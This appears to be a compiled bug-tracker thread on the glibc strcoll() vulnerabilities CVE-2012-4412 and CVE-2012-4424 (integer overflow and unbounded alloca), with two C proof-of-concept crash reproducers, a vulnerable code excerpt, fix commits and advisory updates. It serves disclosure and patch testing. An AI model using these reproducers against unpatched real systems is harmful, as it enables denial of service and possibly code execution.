(CVE-2012-4412) glibc: strcoll() integer overflow leading to buffer overflow

The code in string/strcoll_l.c that computes a memory allocation size as (s1len + s2len) * (sizeof (int32_t) + 1) fails to allow for possible integer overflow in this computation. On a 32-bit host this can cause too-small allocations and consequent buffer overflow if the strings total more than 0.8GB. Testcase:

#include <locale.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define SIZE 429496730

int
main (void)
{
  char *p = malloc (1 + SIZE);
  if (setlocale (LC_COLLATE, "en_GB.UTF-8") == NULL)
    {
      puts ("setlocale failed, cannot test for overflow");
      return 0;
    }
  if (p == NULL)
    {
      puts ("malloc failed, cannot test for overflow");
      return 0;
    }
  memset (p, 'x', SIZE);
  p[SIZE] = 0;
  printf ("%d\n", strcoll (p, p));
  return 0;
}

It looks like the same issue is also present in strxfrm (not tested).

*** Bug 14552 has been marked as a duplicate of this bug. ***

An integer overflow, leading to buffer overflow flaw was found in the way the implementation of strcoll() routine, used to compare two strings based on the current locale, of glibc, the GNU libc libraries, performed calculation of memory requirements / allocation, needed for storage of the strings. If an application linked against glibc was missing an application-level sanity checks for validity of strcoll() arguments and accepted untrusted input, an attacker could use this flaw to cause the particular application to crash or, potentially, execute arbitrary code with the privileges of the user running the application.

Upstream bug report (including reproducer):
[1] http://sourceware.org/bugzilla/show_bug.cgi?id=14547

CVE request:
[2] http://www.openwall.com/lists/oss-security/2012/09/07/9

This issue affects the versions of the glibc package, as shipped with Red Hat Enterprise Linux 5 and 6.

--

This issue affects the versions of the glibc package, as shipped with Fedora release of 16 and 17. Please schedule an update (once there is final upstream patch available).

Created glibc tracking bugs for this issue

Affects: fedora-all [bug 855399]

The CVE identifier of CVE-2012-4412 has been assigned to this issue:
http://www.openwall.com/lists/oss-security/2012/09/07/12

Although this bug report regards the serious security vuln in strcoll, even if the overflow issues are fixed, a serious bug will remain. The strcoll interface does not permit failure. It must yield a consistent ordering. If it can fail sporadically from memory exhaustion, it can cause other interfaces using it (such as qsort) which rely on it to be a consistent ordering to invoke undefined behavior. While an immediate security fix is needed for the issues reported here, the implementation of strcoll calls for drastic redesign to be completely free of malloc or any other operation that could fail.

An integer overflow, leading to buffer overflow flaw was found in the way the implementation of strcoll() routine, used to compare two strings based on the current locale, of glibc, the GNU libc libraries, performed calculation of memory requirements / allocation, needed for storage of the strings. If an application linked against glibc was missing an application-level sanity checks for validity of strcoll() arguments and accepted untrusted input, an attacker could use this flaw to cause the particular application to crash or, potentially, execute arbitrary code with the privileges of the user running the application.

Upstream bug report (including reproducer):
[1] http://sourceware.org/bugzilla/show_bug.cgi?id=14547

I've detailed another strcoll() security vulnerability below, which is an unbounded alloca() call.

alloca() stack overflow

If the malloc() call in alloca() fails (i.e. OOM conditions), strcoll() will failsafe to alloca() for allocating its memory, which could result in unbounded alloca() calls and exploitable
conditions if the stack pointer is shifted over the guard area and into the
heap. See vulnerable code below.

       if (idx1arr == NULL)
       /* No memory. Well, go with the stack then.

          XXX Once this implementation is stable we will handle this
          differently. Instead of precomputing the indeces we will
          do this in time. This means, though, that this happens for
          every pass again. */
          goto try_stack;
          use_malloc = 1;
       }
     else
       {
       try_stack:
         idx1arr = (int32_t *) alloca (s1len * sizeof (int32_t));
         idx2arr = (int32_t *) alloca (s2len * sizeof (int32_t));
         rule1arr = (unsigned char *) alloca (s1len);
         rule2arr = (unsigned char *) alloca (s2len);

[ ... ]

Here's my testcase / proof-of-concept for the issue.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <locale.h>

#define LEN 500000

int main() {

char *ptr1 = malloc(LEN + 1);
char *ptr2 = malloc(LEN + 1);
char *wasted = NULL;
int i = 0, ret = 0;

if(!ptr1 || !ptr2) {
    printf("memory allocation failed\n");
    return -1;
}

memset(ptr1, 0x61, LEN);
memset(ptr2, 0x61, LEN);

ptr1[LEN] = 0;
ptr2[LEN] = 0;

printf("strings allocated\n");

char *ptr = setlocale(LC_ALL, "en_US.UTF-8");
if(!ptr) {
    printf("error setting locale\n");
    return -1;
}

/* malloc() big chunks until we're out of memory */
do {
wasted = malloc(1000000);
printf("%p\n", wasted);
i++;
} while(wasted);

ret = strcoll(ptr1, ptr2);

if(!ret) {
    printf("strings were lexicographically identical\n");
}

else {
    printf("strings were different\n");
}

return 0;
}

Cheers,
Shaun

The unbounded alloca issue also appears to be present in strxfrm.

Patches to fix this issue:

http://sourceware.org/ml/libc-alpha/2013-06/msg01157.html

http://sourceware.org/ml/libc-alpha/2013-06/msg01158.html

http://sourceware.org/ml/libc-alpha/2013-06/msg01160.html

glibc-2.17-13.fc19 has been pushed to the Fedora 19 stable repository. If problems still persist, please make note of it in this bug report.

Statement:

This issue affects the version of glibc as shipped with Red Hat Enterprise Linux 5 and 6. The Red Hat Security Response Team has rated this issue as having moderate security impact, a future update may address this flaw.

Fixed in master:

commit 303e567a8062200dc06acde7c76fc34679f08d8f
Author: Siddhesh Poyarekar <email address hidden>
Date: Mon Sep 23 11:24:30 2013 +0530

    Check for integer overflow in cache size computation in strcoll

    strcoll is implemented using a cache for indices and weights of
    collation sequences in the strings so that subsequent passes do not
    have to search through collation data again. For very large string
    inputs, the cache size computation could overflow. In such a case,
    use the fallback function that does not cache indices and weights of
    collation sequences.

    Fixes CVE-2012-4412.

commit 141f3a77fe4f1b59b0afa9bf6909cd2000448883
Author: Siddhesh Poyarekar <email address hidden>
Date: Mon Sep 23 11:20:02 2013 +0530

    Fall back to non-cached sequence traversal and comparison on malloc fail

    strcoll currently falls back to alloca if malloc fails, resulting in a
    possible stack overflow. This patch implements sequence traversal and
    comparison without caching indices and rules.

    Fixes CVE-2012-4424.

CVE-2012-4412 (http://nvd.nist.gov/nvd.cfm?cvename=CVE-2012-4412):
  Integer overflow in string/strcoll_l.c in the GNU C Library (aka glibc or
  libc6) 2.17 and earlier allows context-dependent attackers to cause a denial
  of service (crash) or possibly execute arbitrary code via a long string,
  which triggers a heap-based buffer overflow.

Fixed in master, see [1]. Any chance on getting a backport of the fixes?

[1] http://sourceware.org/bugzilla/show_bug.cgi?id=14547#c7

CVE-2012-4424 (http://nvd.nist.gov/nvd.cfm?cvename=CVE-2012-4424):
  Stack-based buffer overflow in string/strcoll_l.c in the GNU C Library (aka
  glibc or libc6) 2.17 and earlier allows context-dependent attackers to cause
  a denial of service (crash) or possibly execute arbitrary code via a long
  string that triggers a malloc failure and use of the alloca function.

Hello. I applied Siddhesh's three patches (2 CVE fixes + strcoll refactoring) and the PoCs no longer trigger overflows.

What is a reasonable runtime to expect on those PoCs post-patch?

I ask because last night I left Joseph's code running on a ~2.3GHz Intel and it was still going this morning [was in seq_next_seq_nocache()].

Thanks!

(In reply to mancha from comment #8)
> Hello. I applied Siddhesh's three patches (2 CVE fixes + strcoll
> refactoring) and the PoCs no longer trigger overflows.
>
> What is a reasonable runtime to expect on those PoCs post-patch?
>
> I ask because last night I left Joseph's code running on a ~2.3GHz Intel and
> it was still going this morning [was in seq_next_seq_nocache()].
>
> Thanks!

get_next_seq_nocache() that is.

(In reply to mancha from comment #8)
> Hello. I applied Siddhesh's three patches (2 CVE fixes + strcoll
> refactoring) and the PoCs no longer trigger overflows.
>
> What is a reasonable runtime to expect on those PoCs post-patch?

It should finish a few minutes before forever :)

The *_nocache code is O(n^3) (IIRC), so it's very very slow. If it has to crash due to a buffer or stack overflow, it ought to be gone in a few minutes based on some arbitrary tests I did by introducing buffer overflows and accesses beyond bounds in the code.

I've added an xtest (i.e. an optional test, which you can run using `make xcheck`) that does exactly this - run the reproducer and signal a success if the program doesn't crash in about five minutes.

If you want to do a correctness test then I'd suggest commenting out the get_next_seq_cached paths so that get_next_seq_nocache is called all the time and then run your usual strcoll correctness tests.

Maybe we could add some internal test hooks that allow us to do this seamlessly.

(In reply to Siddhesh Poyarekar from comment #10)
> It should finish a few minutes before forever :)
>
> The *_nocache code is O(n^3) (IIRC), so it's very very slow.

Hi. Thanks for your quick reply. With that kind of complexity I'll adopt your heuristic: if no failure in 5 minutes, assume success.

> If you want to do a correctness test then I'd suggest commenting out the
> get_next_seq_cached paths so that get_next_seq_nocache is called all the
> time and then run your usual strcoll correctness tests.

Thanks for the suggestion, I'll force get_next_seq_nocache and run my strcoll faithfulness tests.

Maintainer(s), please drop the vulnerable version(s).

Added to an existing GLSA Request.

This issue was resolved and addressed in
 GLSA 201503-04 at http://security.gentoo.org/glsa/glsa-201503-04.xml
by GLSA coordinator Kristian Fiskerstrand (K_F).